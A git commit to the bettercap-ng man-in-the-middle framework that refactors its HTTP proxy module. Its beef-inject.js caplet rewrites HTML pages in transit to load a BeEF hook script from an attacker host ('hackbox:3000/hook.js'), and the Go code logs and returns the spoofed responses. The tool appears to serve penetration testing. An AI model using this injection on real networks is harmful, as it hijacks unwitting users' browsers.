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refact: several fixes and optimizations to the proxy

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This commit is contained in:
evilsocket 2018-01-07 23:22:33 +01:00
parent 98d1a028ed
commit 7248dd701a
3 changed files with 28 additions and 13 deletions
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11
caplets/beef-inject.js
View file

@ -3,7 +3,14 @@ function onLoad() {
}
function onResponse(req, res) {
if( res.ContentType.indexOf("text/html") == 0 ){
res.Body = res.ReadBody().replace( "</head>", '<script type="text/javascript" src="http://hackbox:3000/hook.js"></script></head>' );
if( res.ContentType.indexOf('text/html') == 0 ){
var body = res.ReadBody();
if( body.indexOf('</head>') != -1 ) {
res.Body = body.replace(
'</head>',
'<script type="text/javascript" src="http://hackbox:3000/hook.js"></script></head>'
);
res.Updated();
}
}
}

21
session/modules/http_proxy.go
View file

@ -9,6 +9,7 @@ import (
"github.com/elazarl/goproxy"
"github.com/evilsocket/bettercap-ng/core"
"github.com/evilsocket/bettercap-ng/firewall"
"github.com/evilsocket/bettercap-ng/session"
)
@ -25,6 +26,16 @@ type HttpProxy struct {
script *ProxyScript
}
func (p HttpProxy) logAction(req *http.Request, jsres *JSResponse) {
fmt.Printf("[%s] %s > '%s %s%s' | Sending %d bytes of spoofed response.\n",
core.Green("http.proxy"),
core.Bold(strings.Split(req.RemoteAddr, ":")[0]),
req.Method,
req.Host,
req.URL.Path,
len(jsres.Body))
}
func NewHttpProxy(s *session.Session) *HttpProxy {
p := &HttpProxy{
SessionModule: session.NewSessionModule(s),
@ -51,7 +62,6 @@ func NewHttpProxy(s *session.Session) *HttpProxy {
}))
proxy := goproxy.NewProxyHttpServer()
proxy.NonproxyHandler = http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) {
if p.doProxy(req) == true {
req.URL.Scheme = "http"
@ -65,9 +75,8 @@ func NewHttpProxy(s *session.Session) *HttpProxy {
if p.script != nil {
jsres := p.script.OnRequest(req)
if jsres != nil {
log.Infof("Sending %d bytes of spoofed response to %s.", len(jsres.Body), req.RemoteAddr)
resp := jsres.ToResponse(req)
return req, resp
p.logAction(req, jsres)
return req, jsres.ToResponse(req)
}
}
return req, nil
@ -77,8 +86,8 @@ func NewHttpProxy(s *session.Session) *HttpProxy {
if p.script != nil {
jsres := p.script.OnResponse(res)
if jsres != nil {
log.Infof("Sending %d bytes of spoofed response to %s.", len(jsres.Body), res.Request.RemoteAddr)
res = jsres.ToResponse(res.Request)
p.logAction(res.Request, jsres)
return jsres.ToResponse(res.Request)
}
}
return res

9
session/modules/proxy_script.go
View file

@ -76,7 +76,6 @@ func (j *JSResponse) ReadBody() string {
}
j.Body = string(raw)
j.Updated()
return j.Body
}
@ -153,7 +152,7 @@ func (s ProxyScript) resToJS(res *http.Response) *JSResponse {
}
}
func (s *ProxyScript) doDefines(req *http.Request) (err error, jsres *JSResponse) {
func (s *ProxyScript) doRequestDefines(req *http.Request) (err error, jsres *JSResponse) {
jsreq := s.reqToJS(req)
if err = s.VM.Set("req", jsreq); err != nil {
log.Errorf("Error while defining request: %s", err)
@ -169,7 +168,7 @@ func (s *ProxyScript) doDefines(req *http.Request) (err error, jsres *JSResponse
return
}
func (s *ProxyScript) doDefinesFor(res *http.Response) (err error, jsres *JSResponse) {
func (s *ProxyScript) doResponseDefines(res *http.Response) (err error, jsres *JSResponse) {
jsreq := s.reqToJS(res.Request)
if err = s.VM.Set("req", jsreq); err != nil {
log.Errorf("Error while defining request: %s", err)
@ -191,7 +190,7 @@ func (s *ProxyScript) OnRequest(req *http.Request) *JSResponse {
s.gil.Lock()
defer s.gil.Unlock()
err, jsres := s.doDefines(req)
err, jsres := s.doRequestDefines(req)
if err != nil {
log.Errorf("Error while running bootstrap definitions: %s", err)
return nil
@ -217,7 +216,7 @@ func (s *ProxyScript) OnResponse(res *http.Response) *JSResponse {
s.gil.Lock()
defer s.gil.Unlock()
err, jsres := s.doDefinesFor(res)
err, jsres := s.doResponseDefines(res)
if err != nil {
log.Errorf("Error while running bootstrap definitions: %s", err)
return nil